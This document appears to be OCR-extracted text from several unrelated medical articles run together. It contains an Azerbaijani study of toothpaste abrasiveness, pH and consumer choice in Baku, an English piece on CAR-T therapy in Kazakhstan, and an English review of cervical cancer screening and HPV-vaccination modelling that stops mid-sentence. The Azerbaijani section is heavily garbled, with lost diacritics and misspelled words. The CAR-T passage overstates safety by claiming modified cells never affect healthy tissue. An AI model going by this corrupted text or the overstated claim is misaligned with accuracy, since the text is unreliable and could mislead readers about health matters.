ogar dislarla bagh har hansi problem varsa, onlari hall etmaya kdmak edacak bir dis pastasi
secilmalidir. Bu magsadla muialicavi va profilaktik pastalar nazarda tutulub. Onlar kifayst gadar
genis talablari yerina yetirirlar, buna géra de adatan gruplara bollnurlar.

Bdtdn dinyada stomatoloji xastaliklarin artimi agiz bosluguna qullug va gigiyenasi mahsullari
bazarinin béylimasini sartlendiran asas amillardan biridir. Agiz boslugu baximi va gigiyenasi
bazarinin regabat mihiti ragiblar hagginda atrafli malumat verir. 9trafli malumata sirkatin maliyya
gostaricisi, alda edilan galir, bazar potensiali, investisiyasi, istehsal glicl aiddir. Yuxarida gostarilan
malumatlar yalniz sirkatlin agiz bosluguna qulluqg va gigiyenasi bazari ila bagli faaliyyatlarina aiddir.
Agiz bosluguna qullug bazari agiz gigiyenasini va saglamhgini gorumag, yaxsilasdirmag Ucin
nazarda tutulmus mahsullarin inkisafi, istehsali, paylanmasina hasr olunmus muxtalif, dinamik
sanaye segmentidir. Bu mahsullar xUsusi olaraq dis baximinin mixtslif aspektlarini, o cimladan
tomizlama, problemlarindan gorunmag ve Umumi agiz saglamhgini yaxsilasdirmaqg Ucln
hazirlanmisdir.

Agiz bosluguna qullug bazari istehlakcilara har biri xtsusi ehtiyaclara, fardi secimlara cavab
vermak Ucln hazirlanmis dis pastasi, agiz gargarasi, dis sapi va dis agardici mahsullar kimi mixtalif
cesidda agiz bosluguna qullug mahsullari taklif edir. Bu secim bollugu istehlakcilara agiz baximi
ehtiyaclarina uygun genis cesidda mahsullar tagdim edir. Agiz boslugu saglamhgi va gigiyenasinin
ahamiyyati hagginda istehlakgilarin malumatliliginin artiriimasi agiz baximi mahsullari bazarinin
boylmasini sartlandiran asas amildir. Son illarda agiz saglamligi va gigiyenasina Ustlnlik vermak
istigamatinda istehlakgilarin  davranisinda nazaracarpacaq dayisikliklar bas vermisdir. Bu
gdstaricini internet va sosial media platformalari vasitasile malumatlara c¢ixisin artmasi kimi
mixtalif amillarls slagalandirmak olar. insanlar agiz saglamligi ils Gmumi rifah arasindaki slagani
daha cox dark etdikca, yaxsl agiz gigiyenasi tacriibalarini tasvig edan mahsul, xidmatlari faal sakilda
axtarirlar, naticada dis baximi mahsullari va mintazam dis mUayinalarina talabat artir [5, 6].

Taninmis sirkatlar mahsul portfelini genislandirmak va muxtalif regionlarda bazar paylarini
artirmaq Ucln tarafdasliglar, birlasmalar, mahsul innovasiyasi va birga miassisalar kimi bir neca
9sas biznes strategiyasina diggat yetirirlar. Genislanma va investisiya bu sektorda sirkstlar
tarafindan hayata kecirilan asas strateji tasabblslardir. Hazirda istehlakgi els bir vaziyyatls Gzlasir
ki, magazalar ve apteklar ona muxtalif nov dis macunlari taklif edirlar. MUayyan bir dis macunu
almag garari cox vaxt dis pastalarinin tarkibi, agiz saglamligina tasiri hagginda biliklara asaslanmir,
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ancag reklam faydalarina va dayarina asaslanir. Dis macunu bazari genis ¢esidda tasniflasdirilir,
tarkibi, tayyinatina gora farglenir. 9lavalardan asili olaraq pastalar gigiyenik, mialicavi va
profilaktik, xtsusi, pesakar, tibbiya boltundr [2, 3, 7].

Gigiyenik dis macunlarinda xisusi mualicavi va profilaktik alavalar yoxdur. Agiz boslugunu
taravatlandirir, dislari yaxsi tamizlayir, onlara parlagliq ve bayazlig verir. Mialicavi va profilaktik
dis macunlarinin tarkibinds agiz bosluguna glndalik qullug, kariesin profilaktikasi, agizda selikli
gisa xastaliklari, parodontun profilaktikasi Ucln nazards tutulmus vitamin, ekstrakt, dugz,
mikroelementlar daxildir [3, 8]. Bundan alaves, usaqlar Gcln terapevtik va profilaktik pastalar
usagin badaninda ftorun haddindan artig dozanin garsisini almaq Gcln azaldilmasi ile xarakterizs
olunur [9]. Karies aleyhina dis pastalari mualicavi va profilaktik olaraq tasnif edilir. Onlar disin
mineral toxumasini gliclandirmaya va arpin amala galmasinin garsisini almaga kémak edir. Bu, dis
pastalarina ftor, fosfor va kalsium birlasmalarinin daxil edilmasi ila alda edilir. Daha sonra ftor
tarkibli pastalarin kariyesa qarsi effektivliyi shamiyyatli deracada azalir.

Belalikla, onlardan asasan usaqgligda dis kariyeslarinin garsisini almaqg cgln istifade etmak
magsadauygundur [1, 9]. Olkamizda ftor tarkibli dis pastalarinin istifadasi bazi 6zalliklarla baghdir.
Olkanin ayri-ayri arazilarinda mixtalif iglim-cografi saraita va icmali su, gida mahsullarinda ftorun
geyri-barabar tarkibine malik nshang makan fllor tarkibli dis macunlarinin genis va genis
istifadasina imkan vermir. Bu zaman tarkibinda flior olan dis macunlari faydasiz olmagla yanasi,
onlarin istifadasi zararli ola bilar. Xtsusi dis macunlari agardici va sigaret ¢cakanlar Ggln bolindr.

Pesakar dis macunlari yiksan asilayici gostaricilara malikdir. Stomatologlar tarafindan
pesakar tamizlanmada va disin cilalanmasinda istifads edilir. Tibbi dis macunlari darman vasitasi
kimi geydiyyata alinir va fasilalarla istifads olunur. iltihab aleyhina pastalar ganaxma va dis atinin
iltihabi ila garsilasan insanlar tarafindan istifads Gglin tovsiya olunur. Bu tip pastalarin tarkibina
mitlag mikrofloranin normallasmasina va yaralarin sagalmasina komak edan darman bitkilarinin
ekstraktlari daxildir. Hassas dislar G¢lin macunlarin tarkibinds dis hassasligini manes toradan
kalium va stronsium duzlari var. Bundan alavs, onlarin tarkibinda glicli asindirici komponentlar
yoxdur.

Agardici tipli pastaya ¢ox diggatla yanasmag lazimdir, ¢linki agartma artan asindirici maddalar
va va hidrogen peroksid, aktiv oksigen olan mahsullar sebabindan bas verir. Bu clr pasta haftads
iki deofadan cox olmayaraq istifads edilmalidir. Duzlu pastalar periodontal xastalik va
periodontitdan aziyyst ¢ekan insanlar Gglin tovsiya olunur. Onlarin tarkibinda qgan ddvranini
yaxsilasdiran, metabolik proseslari stimullasdiran ve analjezik tasir géstaran muxtalif mineral
duzlar var. Usaglar Gcln alti yasdan kicik usaglar Ggln xUtsusi dis pastalarindan istifade etmak
tovsiya olunur.

Tadgigatin magsadi agiz boslusunun xastalklarinin profilaktikasinda gigiyenik vasitalarin
ahamiyyati, dis pastalarinin seciminda istehlakcilarin Gstlnltklarini tahlil etmakdir.

Materiallar ve tadgigat metodlari

Tadgigat iki marhalada aparilib. Birinci marhalads geyd olunan pastalar tarkibing,
asindiricinin névina va pH dayarine gdra giymatlandirilmisdir. pH gdstaricisi universal kagiz
indikator vasitasils tayin edilmisdir. ikinci marhalads Baki ssharinda 500 nafar market ziyaratgilari
arasinda sorgu kecirilmisdir.

Tadgigat naticalari va mlzakira

[. Asindiricihigin éyranilmasi.

Ag1z boslugu qullugu mahsullari bazarinin liderlari Colgate-Palmolive, Procter & Gamble
sirkati, Church & Dwight Co., Inc, GlaxoSmithKline PLC, Unilever PLC-dir. Qlobal agiz boslugu baximi
mahsullari bazari mahsul novid, paylama kanalina va cografi vaziyystine gora bollinlr. Bazar
paylama kanallarina bolindr: supermarketl, hipermarket, market, aptek, onlayn magazalar va
digar kanallara gora segmentlasir. Dis minasina sartliyina an ¢ox banzayan akril plitalarle sinagdan
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alda edilan vizual malumatlara asaslanaraq, asindiricilig daracasina (an c¢oxdan an azl) gora
sinaqdan kegirilmis dis macunlarini asagidaki kimi siralaya bilarik:
1. “Lacalut” (sulu silikon dioksid)
2. Colgate (kalsium karbonat)
3. Paradontax (silikon dioksid)
4. Blend-a-Med (namlanmis silikonun birlagsmasi)
5. Sensodyne (silikon dioksid)
6. Aquafresh (silikon dioksid)

Bu arasdirmadan aydin olur ki, hazirda istifada olunan asindirici maddalarin boylk aksariyyati
silisium va kimyavi cahatdan ¢okdirtlmUs tabasir ve ya kalsium karbonatdir. Qeyd etmak lazimdir
ki, tabasir kifayat gadar asagl giymata dis sathinin keyfiyyatli tamizlanmasini tamin etss ds, onun
dezavantaji dis macununda movcud olan fldor ionlarinin sarbast kalsium ionlari ila gagiimaz
garsihgh slagasidir ki, bu da hall olunmayan kalsium flGoridinin ve nazaratsiz kalsiumun amala
galmasina sabab olur. aktiv fliorun konsentrasiyasinin azalmasi. Lakin silikon dioksid gida va
farmakoloji mahsullar Ug¢ln bitln tahlikasizlik talablarins cavab verir, dis pastalarinin batin digar
komponentlari ila yaxsi uygunlasir va florid tarkibli dermanlarin va sathi aktiv maddalarin,
antibakterial, vitamin va digar alavalarin faaliyyatini azaltmir [5,8].

cadval 1.
Dis macunlari on ¢ox talab olunan Ph Dis macunlarinin talab
nisbati, %-la
Colgate 1 7 35
Lacalut 2 6 25
Paradontax 3 8 14
Blend-a-med 4 7 10
Sensodyne 5 6 10
Aguafresh 6 7 6

Pastanin pH dayari ilk névbads agiz boslugunda tursu-galavi balansinin barpasina tasir edir.
Bakteriyalarin tasiri il agizda tursu mihit yarandigindan, pH dayari na gadar ylksak olarsa,
zararsizlasdirma prosesi daha aktiv olur.

Dis macunlarinin talab nisbati

m Colgate mlacalut m Paradontax Blend-a-med mSensodyne m Aquafresh
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Muayyan edilmisdir ki, tarkibinda silisium dioksidi olan macunlar (bu maddanin sulu
mahlulu olan Lakalut pastasi istisna olmagqla) tarkibinds fliorun butin faydali xtsusiyyatlarini
neytrallasdiran kalsium karbonat olanlardan asindirici xsusiyyatlara géra Ustindlr. Bakteriyalarin
faaliyyati naticasinda amala galan agiz boslugunun tursu muhitini, pH dayari 7,5-dan yiksak olan,
lakin 10,5-dan cox olmayan pastalar daha yaxsi neytrallasdirir. Tahlil edilmis anketlara asasan,
secim tezliyi baximindan an ¢ox yayillmis Colgate macunudur (respondentlarin 35% -i tarafindan
secilir), lakin eyni pastanin keyfiyyatindan mamnunlug 20% -dan ¢ox deyil. Alis tezliyina gora ikinci
yerda respondentlarin 25%-nin istifads etdiyi “Lakalut” dis macunu galir, mahsulun keyfiyyatindan
razi galanlarin payi isa respondentlarin 90 %-dir.

Natica.

Dis macunu bazari genis cesidda tasniflasdirilir, tarkibi, tayyinatina gora farglanir. Dis
xastaliklarinin bas vermamasi lcln agiz boslugunun gigiyenasi mitamadi olarag aparilmalidir.
Tarkibinda fermentlar olan macunlar agiz boslugunun gigiyenik vaziyyatini yaxsilasdirir. Onlar
periodontal xastaliklarin va kaskin marhaladas agiz mukozasinin mualicasinda agiz gigiyenasi Ggiin
istifade Gclin tdvsiya olunur [2, 5]. insanin agiz saglamhgl Gcln an vacib olani dis minasini
glclandiran va kariyesin inkisafinin garsisini alan ftoridlardir. Dis macunlarinin mugayisali
tadgigatlarina asasan aydin olur ki, tarkibinds silikon dioksid olan dis pastalari (Lacalut macunu
istisna olmagla) asindirici xassalara gora daha Ustindir. MUayyan edilmisdir ki, agiz bosluguna
qullugun tezliyina istifade edilan gigiyenik vasitalarin keyfiyyati, satis giymati, stomatoloji
saglamlig Uzra informasiya saviyyasi, gigivenik prosedurlara meyllik, maddi durum, ailanin say
tarkibi va digar amillar da tasir gostarir.
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Abstract: Genetic engineering opens new possibilities in the treatment of oncological diseases.
One of the key directions is CAR-T therapy, which enables effective treatment of blood cancer.
This article examines the mechanisms of CAR-T therapy, its advantages, history of development,
and prospects for implementation in Kazakhstan.
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Genetic engineering represents one of the most promising fields in modern medicine, capable of
significantly altering the approach to cancer treatment. In Kazakhstan, this method has begun to
develop actively, especially in the field of hematologic oncology. With the introduction of
advanced methods such as the use of genetically modified cells, it is becoming possible to
significantly improve treatment effectiveness, even in the late stages of blood cancer. An
important advantage for patients is the potential reduction in treatment costs, making it more
accessible compared to European and American clinics.

One of the most significant achievements of genetic engineering is the development and
application of CAR-T therapy, which plays a central role in Kazakhstan’s National Program for the
Implementation of Personalized Medicine. This treatment method is based on the principles of
genetic engineering and involves a complex process of modifying a patient's immune cells to
enhance their ability to recognize and destroy cancer cells. Unlike traditional treatments such as
chemotherapy and radiotherapy, CAR-T therapy is targeted, minimizing damage to healthy cells.
CAR-T therapy is part of a broader class of treatments known as immunotherapy. However, there
are significant differences between these methods. While general immunotherapy includes the
use of monoclonal antibodies, checkpoint inhibitors, vaccines, and other ways of activating the
immune system, CAR-T therapy is a personalized method in which a patient’s T cells are modified
to autonomously detect and destroy tumor cells. This approach makes CAR-T therapy unique,
providing precise and effective treatment even in cases where standard methods prove
ineffective.

The history of CAR-T therapy dates back to the late 1980s when scientists began researching the
possibility of modifying immune cells to combat cancer. However, a major breakthrough in this
field occurred only in the early 2000s, thanks to the research of Carl June, a scientist from the
University of Pennsylvania. He developed a technology for genetically modifying T cells, enabling
them to recognize and destroy cancer cells. Subsequently, this method was adapted for clinical
use and began showing impressive results in the treatment of hematologic cancers.

The mechanism of CAR-T therapy involves several key stages. First, the patient’s T cells are
extracted and then genetically modified in laboratory conditions. These cells receive a specific
chimeric antigen receptor (CAR), allowing them to recognize certain molecular markers on the
surface of cancer cells. Once the modified cells undergo cultivation and testing, they are
reintroduced into the patient’s body, where they actively seek and destroy tumor cells. This
working principle makes CAR-T therapy not only highly effective but also a safe treatment method,
as the modified cells exclusively attack cancerous formations without affecting healthy tissues.
Today, CAR-T therapy is widely used in various countries, including the United States, European
Union nations, China, Israel, and South Korea. In the United States, leading medical centers
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offering this treatment include the Memorial Sloan Kettering Cancer Center and the University of
Pennsylvania Medical Center. In Europe, CAR-T therapy is available in specialized clinics in
Germany, the United Kingdom, and Switzerland. According to clinical studies conducted in leading
medical institutions, this method demonstrates impressive results: in most patients with resistant
forms of blood cancer, long-term remission rates reach up to ninety percent.

One of the most well-known examples of successful CAR-T therapy application is the case of Emily
Whitehead, who in 2012 became the first child to undergo this treatment. The girl was diagnosed
with acute lymphoblastic leukemia, and after standard chemotherapy courses, her disease
continued to progress. However, after undergoing CAR-T therapy, her condition significantly
improved, and she has been in complete remission for more than ten years. Such stories not only
demonstrate the high potential of the method but also its ability to completely transform the
paradigm of cancer treatment.

Despite significant successes, CAR-T therapy remains a complex and expensive procedure. Its
implementation requires state-of-the-art equipment and highly qualified specialists. In the United
States and European Union countries, clinics offering CAR-T therapy undergo strict accreditation,
ensuring high safety and treatment effectiveness. In Kazakhstan, active steps are being taken to
create the necessary conditions, including the construction of specialized medical centers, training
of medical personnel, and the development of regulatory documents governing the application of
this methodology. The main goal of the program is to make the treatment accessible to a wide
range of patients, reducing its cost several times compared to foreign clinics.
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pPrognosis.

Cervical cancer (CC) is a disease that is related to visually accessible localizations, in
connection with which aspects of early diagnostics have been worrying the entire oncological
community for several decades. To do this, it is enough to correctly use accessible and informative
methods of morphological and endoscopic diagnostics. In addition, timely detection and
treatment of background and precancerous processes of the cervix can prevent the development
of CC. It is known that CC is preceded for many years and even decades by precancerous lesions -
cervical intraepithelial neoplasia (CIN). Timely diagnosis and treatment of CIN become the
prevention of invasive CC. CIN initiates in the cervical transformation zone and is maintained by
persistent infection caused by human papillomaviruses (HPV) of high carcinogenic risk. In 1980-
1990, the connection between HPV and dysplasia and squamous cell cancer was clearly shown.
Using hybridization methods, it was found that 80-100% of CC contain HPV DNA. A rough
correlation was found between the frequency of CC and the detection of HPV in the population.
Moreover, in squamous cell cancer, HPV type 16 was most often encountered (in more than 50%
of cases), while HPV type 18 was more often associated with adenocarcinoma and poorly
differentiated cancer. In 95% of cases, HPV is localized in the zone of transitional epithelium,
where about 90% of dysplasias, which are classified as cervical precancer, occur. It is precancerous
diseases, in which HPV types 16 and 18 are detected, that have the greatest risk of developing into
invasive CC. Intraepithelial lesions are, in fact, stages of cervical carcinogenesis. Conventionally,
three degrees are distinguished: CIN 1 (mild dysplasia); CIN 2 (moderate dysplasia); CIN 3 (severe
dysplasia and pre-invasive cancer - carcinoma in situ, CIS). At the same time, there are two
concepts of the occurrence of CC against the background of persistence of HPV of high
carcinogenic risk. The first, classic, reflects the sequential change of CIN 1, 2, 3 to invasive cancer.
The second, more recent one, suggests that CIN 2-3, which are severe intraepithelial lesions, can
occur bypassing CIN 1 [1].

The diagnostic criteria for CC are as follows [2]: 1) complaints of acyclic bloody, watery,
purulent discharge from the genital tract; pain in the lower abdomen and lumbar region of a
pulling nature; bleeding due to menopause; 2) anamnesis: there are no pathognomonic
complaints; as a rule, the disease has a pronounced pre-invasive stage, which can last from 1 year
to 5 years or more; microinvasive cervical carcinoma is most often discovered during accidental
presentation; the reason for women diagnosed with CC in stages Ib1-1la2 to visit a gynecologist is
bloody discharge from the genital tract; in later stages (llb-IVa) there are complaints of pain in the
lumbar region, lower abdomen; 3) physical examinations: gynecological examination (condition of
the external genitalia; examination of the vagina and cervix on speculum (presence of vaginal
infiltration, metastatic foci on the vaginal walls, size, condition of the cervix); presence of
pathological discharge (purulent, bloody); bimanual examination (size and shape of the uterus;
condition of the appendages; infiltration of the anterior and posterior vaginal fornix); 4) laboratory
tests: cytological examination with Papanicolaou staining - PAP test (increase in cell size up to
giant, change in the shape and number of intracellular elements, an increase in the size of the
nucleus, its contours, different degrees of maturity of the nucleus and other elements of the cell,
changes in the number and shape of nucleoli (pronounced cellular polymorphism, increase in cell
size, pronounced hypochromia, large nuclei contain one or more nucleoli, there are glandular
structures); from cancer cells in the form of rosettes, many cells in a state of mitosis); 5)
instrumental studies: ultrasound of the pelvic organs (if CC is suspected, the size of the cervix will
be normal or increased, its structure is heterogeneous, the condition of the uterus and ovaries is
also assessed); magnetic resonance imaging of the pelvic organs (with CC, the size of the cervix
will be normal or increased, its structure is heterogeneous, the condition of the uterus and ovaries
is also assessed); computed tomography of the chest, abdominal cavity and pelvis (assessment of
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pelvic lymph nodes and retroperitoneal space, organic changes in the chest and abdominal
organs); cystoscopy according to indications (for the purpose of diagnosing the germination of the
tumor process into the bladder); sigmoidoscopy or colonoscopy according to indications (for the
purpose of diagnosing the spread of the tumor process to the colon or rectum); skeletal
scintigraphy (prescribed for suspected bone metastases); positron emission tomography of the
whole body (performed to diagnose the extent of the tumor process or to assess the dynamics of
the effectiveness of special treatment).

GLOBOCAN estimates that in 2020, there were 604,000 new cases and 342,000 deaths
from CC worldwide, of which 80% occurred in low- and middle-income countries, mainly in sub-
Saharan Africa, South-East Asia, and Latin America and the Caribbean [3].

As noted by Torres-Roman J.S. et al. [4], CC remains a major public health problem in low-
and middle-income countries. Due to the high burden of this disease, in 2020 the World Health
Organization (WHO) adopted a global strategy to decrease the number of new CC cases, with the
aim of maintaining an incidence rate below 4 per 100,000 women. Currently, 29 of the 47
countries (and territories) in the Latin American and Caribbean region have implemented
vaccination programs for girls and almost all countries have screening services in place, and while
certain screening programs in the region achieve considerable coverage, the ambitious goals set
by the CC elimination strategy have yet to be achieved. Researchers evaluated the mortality trends
of CC among young women from 16 Latin American and Caribbean countries (and territories) and
predicted mortality rates until 2030. Downward trends were observed in Chile, Colombia, Cuba,
El Salvador, Mexico, Nicaragua, Panama, and Peru for the entire period; whereas Brazil, Argentina,
Chile, and Costa Rica showed initial downward trends from -0.9% to —6.2% followed by significant
upward trends from 2.5 to 4.8% (for the period™~ 2006-2017). In the last 4years of study (2014-
2017), Paraguay and Venezuela had the highest mortality rates, whereas Puerto Rico had the
lowest mortality. By 2030, authors projected that mortality for CC will increase in some countries
that were examined. Colleagues considered CC mortality in young women only because of the lack
of research in the Latin American and Caribbean region, which has focused on CC mortality in
general. They point out that because HPV infection is the most important risk factor for CC,
younger women are likely to have experienced higher rates of HPV infection compared to older
women. The authors also note that CC mortality rates among young women in Latin America and
the Caribbean are higher than in Eastern Europe. While Western and Southern Europe recorded
rates below 2 deaths per 100 000 population in 2017, rates were below 6 deaths per 100 000
population in Northern and Eastern Europe. In conclusion, the researchers emphasize that most
countries in Latin America and the Caribbean experienced a decline in mortality rates between
1997 and 2017. The variations of the mortality rates between countries during the last period of
observation can be largely explained by the timing of implementation of nation-wide screening
campaigns in different time periods and the variation of public health programs within each
country, among others. Despite favorable downward trend, the mortality rate in some Latin
America and the Caribbean countries remains high. HPV vaccination, screening, and early
diagnosis and treatment are necessary to accelerate a rapid decline in CC mortality by 2030.

As noted by Abu-Rustum N.R. et al. [5], an estimated 13,960 new cases of carcinoma of the
uterine cervix (ie, CC) will be diagnosed in the United States in 2023, and an estimated 4,310
people will die of the disease. Overall, CC rates are decreasing in the United States, although
incidence remains high among Hispanic/Latino, Black, and Asian populations. In 2020, the global
new cases of and deaths from CC were estimated to be 604,127 and 341,831, respectively. It is
the fourth most common cancer in individuals assigned female at birth worldwide, with 85% of
cases occurring in developing countries, where CC is a leading cause of cancer death in individuals
assigned female at birth. Squamous cell carcinoma (SCC), adenocarcinoma (AC) or
adenosquamous carcinoma (ASC) are the 3 common histologies of CC. SCC accounts for
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approximately 80% of all CCs and AC accounts for approximately 20%. In developed countries, the
substantial decline in incidence and mortality of SCC of the cervix is presumed to be the result of
effective screening and higher HPV vaccination coverage, although racial, ethnic, and geographic
disparities exist. However, AC and ASC of the cervix have increased over the past 3 decades,
probably because cervical cytologic screening methods are less effective for AC/ASC because the
lesions are located deeper than the ectocervix. The ASC subtype is rare and accounts for
approximately 5% to 6% of all cervical carcinomas. Presently, there is no difference in treatment
between SCC and AC/ASC CC subtypes, although the clinical features and prognosis of disease vary
considerably between these subtypes. Persistent HPV infection is a major factor in the
development of CC. The incidence of CC appears to be related to the prevalence of HPV in the
population. In countries with a high incidence of CC, the prevalence of chronic HPV is
approximately 10% to 20%, whereas in low-incidence countries it is 5% to 10%. Screening methods
using HPV testing may increase detection of adenocarcinoma. Vaccination with HPV vaccines may
also decrease the incidence of both SCC and AC. In 2020, the WHO updated the Female Genital
Tumors classification of CC by subdividing the CC lesions into HPV-associated and HPV-
independent tumors based on new pathologic findings. Among these subtypes, HPV-associated
SCC is the most prevalent, with very rare occurrences of HPV-independent SCC. The HPV-
independent AC subtype has a less favorable prognosis compared with HPV-associated AC. The
NCCN CC Panel acknowledges that although the prior versions of the WHO classification discussed
these tumors based on morphologic features, the integration of the immunohistochemical and
molecular profiles has led to a better classification system, which is now adapted in the 2020 WHO
Classification of Female Genital Tumors for CC.

Screening plays an important role in improving early diagnosis and treatment outcomes
for CC. According to the Guidelines for Early Diagnosis of Cancer by llbawi A. et al. [6], screening
aims to detect unrecognized cancer or its prior lesions in a typically healthy, asymptomatic
population through tests (e.g., HPV test), screenings (e.g., visual inspection of VIA with acetic acid),
or other procedures that can be applied quickly and are widely available to the target population.
In screening, the target population is assessed for unrecognized cancer or precancer, and most
people tested will not be diagnosed with the disease. Screening should be seen as a process and
not as the performance of a specific test, examination, or procedure. The screening process
includes a system of informing and inviting the target population to participate; administering the
screening test; following-up with test results and referral for further testing among those with
abnormal test results; ensuring timely pathologic diagnosis, staging and access to effective
treatment with routine evaluation to improve the process. A screening programme encompasses
the process from invitation to treatment and requires planning, coordination and monitoring and
evaluation.

As pointed out by Pimple S.A., Mishra G.A. et al. [7], CC is highly preventable and can be
easily treated if detected at early stages. However, there is disproportionate high burden of CC
incidence and mortality in low-middle income country settings that lack organized screening and
prevention programs. Robust evidence for prevention and screening of CC is currently available.
However, there are barriers for country specific adoption and implementation. These pose unique
challenges such as organizing prevention and screening services delivery through the current
health infrastructure, access to screening facilities, follow-up management and adequate linkages
for confirmatory diagnosis and subsequent treatment. Overall rates of CC screening and cancer
screening among women remain suboptimal in many low- and middle-income countries.

Brisson M. et al. [8] demonstrate in their work that in May, 2018, WHO issued a global call
to eliminate CC as a public health problem. To inform its global strategy to accelerate CC
elimination, WHO created the CC Elimination Modelling Consortium (CCEMC) to examine the
following key questions: what elimination threshold should be used; what prevention strategies
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can lead to elimination; when could elimination be reached for different countries; and how many
cancers could be averted. The current working definition of elimination is an age-standardised CC
incidence of four or fewer cases per 100 000 women-years. Alternative definitions, such as an
incidence of ten or fewer cases per 100 000 women-years and an 80-90% reduction in incidence,
have also been suggested. The only previous multicountry modelling study of CC elimination
suggests that global elimination is possible through girls-only human papillomavirus (HPV)
vaccination at 80-100% coverage with a perfectly effective 9-valent vaccine and twice-lifetime
HPV-based screening. Herewith less than 30% of low- and middle-income countries have
introduced HPV vaccination compared with more than 85% of high-income countries. Additionally,
only about 20% of women in low- and middle-income countries have ever been screened for CC
compared with more than 60% in high-income countries. Given that models necessarily include
simplifying assumptions, the goal of the consortium is to use multiple models, taking into account
their respective strengths and limitations, to illustrate the robustness of predictions. A systematic
comparative modelling approach was used. To form the CCEMC, WHO selected three models that
met the predefined eligibility criteria: HPV-ADVISE, Harvard, and Policyl-Cervix. The models
projected reductions in CC incidence over time based on standardised HPV vaccination and
cervical screening scenarios determined after consultations at various WHO technical expert,
advisory group, and global stakeholder meetings. Three elimination thresholds were examined (CC
incidence of four or fewer cases per 100 000 women-years, ten or fewer cases per 100 000
women-years, and =85% reduction in incidence). The three CCEMC models (HPV-ADVISE, Harvard,
and Policyl-Cervix) have been used extensively to inform recommendations on cervical screening
and HPV vaccination in Australia, Canada, the UK, the USA, and at a global level [8]. Although
developed independently, the models have common features. First, they are transmission-
dynamic models of HPV infection and the natural history of CC. Second, they include the following
components: sexual behaviour and HPV transmission, natural history of CC, vaccination, and
screening, diagnosis, management, and treatment of cervical lesions and cancer. HPV transmission
and cervical carcinogenesis are modelled for the HPV types in the 9-valent vaccine (HPV types 16,
18, 31, 33, 45, 52, 58) and other high-risk types. The models simulate type-specific HPV
transmission through sexual activity, based on different risk groups and sexual mixing. The models
reproduce the type-specific natural history of CC, from persistent HPV infection to CC via
precancerous cervical lesions (cervical intraepithelial neoplasia grade 1 to 3). All models assume
that HPV vaccines are prophylactic and capture post-vaccination herd effects. They can also
simulate complex cervical screening and treatment algorithms at the individual level, by tracking
and simulating each woman's screening history. Finally, all models were calibrated to highly
stratified sexual behaviour and epidemiological data, validated to clinical trials or post-vaccination
data, or both, and reproduce the age-specific CC incidence estimates from the Global Cancer
Observatory (GLOBOCAN) 2018 for all 78 low- and middle-income countries.

A comparative modelling analysis by Brisson M. et al. [8], which includes projections from
three independent transmission-dynamic models, provides consistent results predicting that CC
can be eliminated as a public health problem by the end of the century, based on WHO's proposed
elimination threshold (i.e., CC incidence of four or fewer cases per 100 000 women-years). This
modelling study shows that girls-only HPV vaccination would lead to CC elimination in most low-
and middle-income countries, if high coverage is reached (>90% coverage) and the vaccine
provides long-term protection. However, countries with the highest CC incidence at present (>25
cases per 100 000 women-years), more than 90% of which are in sub-Saharan Africa, would not
reach elimination by vaccination alone. To achieve CC elimination in all 78 low- and middle-income
countries, these models predict that scale-up of both girls-only HPV vaccination and twice-lifetime
screening is necessary, with 90% HPV vaccination coverage, 90% screening uptake, and long-term
protection against HPV types 16, 18, 31, 33, 45, 52, and 58. If this global elimination strategy,
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which includes a combination of intensive scaling up of HPV vaccination and cervical screening, is
implemented, the results suggest that CC elimination can be achieved in all countries by 2100. In
doing so, CCincidence would be reduced by 97% and more than 74 million cases would be averted
over the next century.

An interesting and important study was conducted by Simms K.T. et al. [9], who in their
work modeled the global situation with CC for future decades depending on the coverage of the
population with HPV vaccination and screening. In this study, the authors aimed to quantify the
potential cumulative effect of scaled up global vaccination and screening coverage on the number
of CC cases averted over the 50 years from 2020 to 2069, and to predict outcomes beyond 2070
to identify the earliest years by which CC rates could drop below two absolute levels that could be
considered as possible elimination thresholds-the rare cancer threshold (six new cases per 100
000 women per year, which has been observed in only a few countries), and a lower threshold of
four new cases per 100 000 women per year. In this statistical trend study and modeling, our
colleagues conducted did a statistical analysis of existing trends in CC worldwide using high-quality
cancer registry data included in the Cancer Incidence in Five Continents series published by the
International Agency for Research on Cancer. Next, the authors used the comprehensive and
extensively validated simulation platform, Policyl-Cervix, to do a dynamic multicohort modelled
analysis of the impact of potential scale-up scenarios for CC prevention, in order to predict the
future incidence rates and burden of CC. Data are presented globally, by Human Development
Index (HDI) category, and at the individual country level. As a result of the study, the following
conclusions were drawn. In the absence of further intervention, there would be 44.4 million CC
cases diagnosed globally over the period 2020-2069, with almost two-thirds of cases occurring in
low-HDI or medium-HDI countries. Rapid vaccination scale-up to 80-100% coverage globally by
2020 with a broad-spectrum HPV vaccine could avert 6.7-7.7 million cases in this period, but more
than half of these cases will be averted after 2060. Implementation of HPV-based screening twice
per lifetime at age 35 years and 45 years in all low- or middle-income countries with 70% coverage
globally will bring forward the effects of prevention and avert a total of 12.5-13.4 million cases in
the next 50 years. Rapid scale-up of combined high-coverage screening and vaccination from 2020
onwards would result in average annual CC incidence declining to less than six new cases per 100
000 individuals by 2045-2049 for very-high-HDI countries, 2055-2059 for high-HDI countries,
2065-2069 for medium-HDI countries, and 2085-2089 for low-HDI countries, and to less than four
cases per 100.000 by 2055-2059 for very-high-HDI countries, 2065-2069 for high-HDI countries,
2070-2079 for medium-HDI countries, and 2090-2100 or beyond for low-HDI countries. However,
rates of less than four new cases per 100 000 would not be achieved in all individual low-HDI
countries by the end of the century. If delivery of vaccination and screening is more gradually
scaled up over the period 2020-2050 (eg, 20-45% vaccination coverage and 25-70% once-per-
lifetime screening coverage by 2030, increasing to 40-90% vaccination coverage and 90% once-
per-lifetime screening coverage by 2050, when considered as average coverage rates across HDI
categories), end of the century incidence rates will be reduced by a lesser amount. In this scenario,
average CC incidence rates will decline to 0.8 cases per 100 000 for very-high-HDI countries, 1.3
per 100 000 for high-HDI countries, 4.4 per 100 000 for medium-HDI countries, and 14 per 100
000 for low-HDI countries, by the end of the century. At the same time, the researchers emphasize
that more than 44 million women will be diagnosed with CC in the next 50 years if primary and
secondary prevention programmes are not implemented in low- or middle-income countries. If
high coverage vaccination can be implemented quickly, a substantial effect on the burden of
disease will be seen after three to four decades, but nearer-term impact will require delivery of
cervical screening to older cohorts who will not benefit from HPV vaccination. Widespread
coverage of both HPV vaccination and cervical screening from 2020 onwards has the potential to
avert up to 12.5-13.4 million CC cases by 2069, and could achieve average CC incidence of around
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four per 100 000 women per year or less, for all country HDI categories, by the end of the century.

In our country, according to Decree of the Government of the Republic of Kazakhstan dated
February 20, 2024 No. 102 [10], the list of diseases against which mandatory preventive
